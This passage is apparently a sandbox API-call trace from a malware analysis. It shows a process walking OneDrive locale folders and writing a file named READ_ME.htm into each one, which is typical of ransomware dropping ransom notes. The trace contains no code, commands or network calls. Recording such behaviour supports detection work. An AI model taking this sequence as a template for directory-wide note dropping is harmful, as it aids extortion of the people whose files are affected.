(in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\en-gb", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\en-gb", lpFilePart=0x0) returned 0x48 [0145.418] SetErrorMode (uMode=0x1) returned 0x0 [0145.418] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\en-gb\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\en-gb\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xed1bf770, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed3fac10, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed3fac10, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.419] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xed1bf770, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed3fac10, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed3fac10, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.419] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xed3fac10, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed3fac10, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed3fac10, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x118b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.419] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xed3fac10, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed3fac10, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed3fac10, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x118b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.419] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.419] SetErrorMode (uMode=0x0) returned 0x1 [0145.419] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\en-gb\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\en-gb\\READ_ME.htm", lpFilePart=0x0) returned 0x54 [0145.419] SetErrorMode (uMode=0x1) returned 0x0 [0145.419] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\en-gb\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\en-gb\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.421] SetErrorMode (uMode=0x0) returned 0x1 [0145.421] GetFileType (hFile=0x1d0) returned 0x1 [0145.421] WriteFile (in: hFile=0x1d0, lpBuffer=0x28550e0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x28550e0*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.422] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\es", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\es", lpFilePart=0x0) returned 0x45 [0145.423] SetErrorMode (uMode=0x1) returned 0x0 [0145.423] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\es\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\es\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xed3fac10, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed5c3c90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed5c3c90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.424] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xed3fac10, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed5c3c90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed5c3c90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.424] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xed5c3c90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed5c3c90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed5c3c90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x130a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.424] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xed5c3c90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed5c3c90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed5c3c90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x130a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.424] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.424] SetErrorMode (uMode=0x0) returned 0x1 [0145.425] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\es", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\es", lpFilePart=0x0) returned 0x45 [0145.425] SetErrorMode (uMode=0x1) returned 0x0 [0145.425] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\es\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\es\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xed3fac10, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed5c3c90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed5c3c90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.425] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xed3fac10, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed5c3c90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed5c3c90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.425] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xed5c3c90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed5c3c90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed5c3c90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x130a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.425] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xed5c3c90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed5c3c90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed5c3c90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x130a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.425] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.425] SetErrorMode (uMode=0x0) returned 0x1 [0145.426] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\es\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\es\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.426] SetErrorMode (uMode=0x1) returned 0x0 [0145.426] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\es\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\es\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.427] SetErrorMode (uMode=0x0) returned 0x1 [0145.427] GetFileType (hFile=0x1d0) returned 0x1 [0145.427] WriteFile (in: hFile=0x1d0, lpBuffer=0x285b6c8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x285b6c8*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.429] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\et", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\et", lpFilePart=0x0) returned 0x45 [0145.429] SetErrorMode (uMode=0x1) returned 0x0 [0145.429] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\et\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\et\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xed5c3c90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed825290, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed825290, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.430] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xed5c3c90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed825290, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed825290, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.430] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xed78cd10, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed78cd10, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed825290, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x120a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.431] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xed78cd10, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed78cd10, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed825290, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x120a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.431] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.431] SetErrorMode (uMode=0x0) returned 0x1 [0145.431] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\et", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\et", lpFilePart=0x0) returned 0x45 [0145.431] SetErrorMode (uMode=0x1) returned 0x0 [0145.431] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\et\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\et\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xed5c3c90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed825290, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed825290, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.431] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xed5c3c90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed825290, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed825290, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.432] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xed78cd10, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed78cd10, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed825290, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x120a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.432] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xed78cd10, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xed78cd10, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xed825290, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x120a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.432] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.432] SetErrorMode (uMode=0x0) returned 0x1 [0145.432] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\et\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\et\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.432] SetErrorMode (uMode=0x1) returned 0x0 [0145.432] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\et\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\et\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.433] SetErrorMode (uMode=0x0) returned 0x1 [0145.433] GetFileType (hFile=0x1d0) returned 0x1 [0145.433] WriteFile (in: hFile=0x1d0, lpBuffer=0x2861cb0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x2861cb0*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.435] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\eu", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\eu", lpFilePart=0x0) returned 0x45 [0145.435] SetErrorMode (uMode=0x1) returned 0x0 [0145.435] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\eu\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\eu\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xed825290, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeda14470, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeda14470, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.436] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xed825290, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeda14470, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeda14470, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.436] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeda14470, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeda14470, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeda14470, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.437] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeda14470, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeda14470, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeda14470, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.437] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.437] SetErrorMode (uMode=0x0) returned 0x1 [0145.437] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\eu", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\eu", lpFilePart=0x0) returned 0x45 [0145.437] SetErrorMode (uMode=0x1) returned 0x0 [0145.437] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\eu\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\eu\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xed825290, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeda14470, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeda14470, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.438] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xed825290, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeda14470, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeda14470, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.438] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeda14470, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeda14470, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeda14470, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.438] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeda14470, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeda14470, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeda14470, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.438] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.438] SetErrorMode (uMode=0x0) returned 0x1 [0145.438] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\eu\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\eu\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.438] SetErrorMode (uMode=0x1) returned 0x0 [0145.438] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\eu\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\eu\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.439] SetErrorMode (uMode=0x0) returned 0x1 [0145.439] GetFileType (hFile=0x1d0) returned 0x1 [0145.439] WriteFile (in: hFile=0x1d0, lpBuffer=0x2868298*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x2868298*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.441] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\fa", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\fa", lpFilePart=0x0) returned 0x45 [0145.441] SetErrorMode (uMode=0x1) returned 0x0 [0145.441] FindFirstFileW (in: 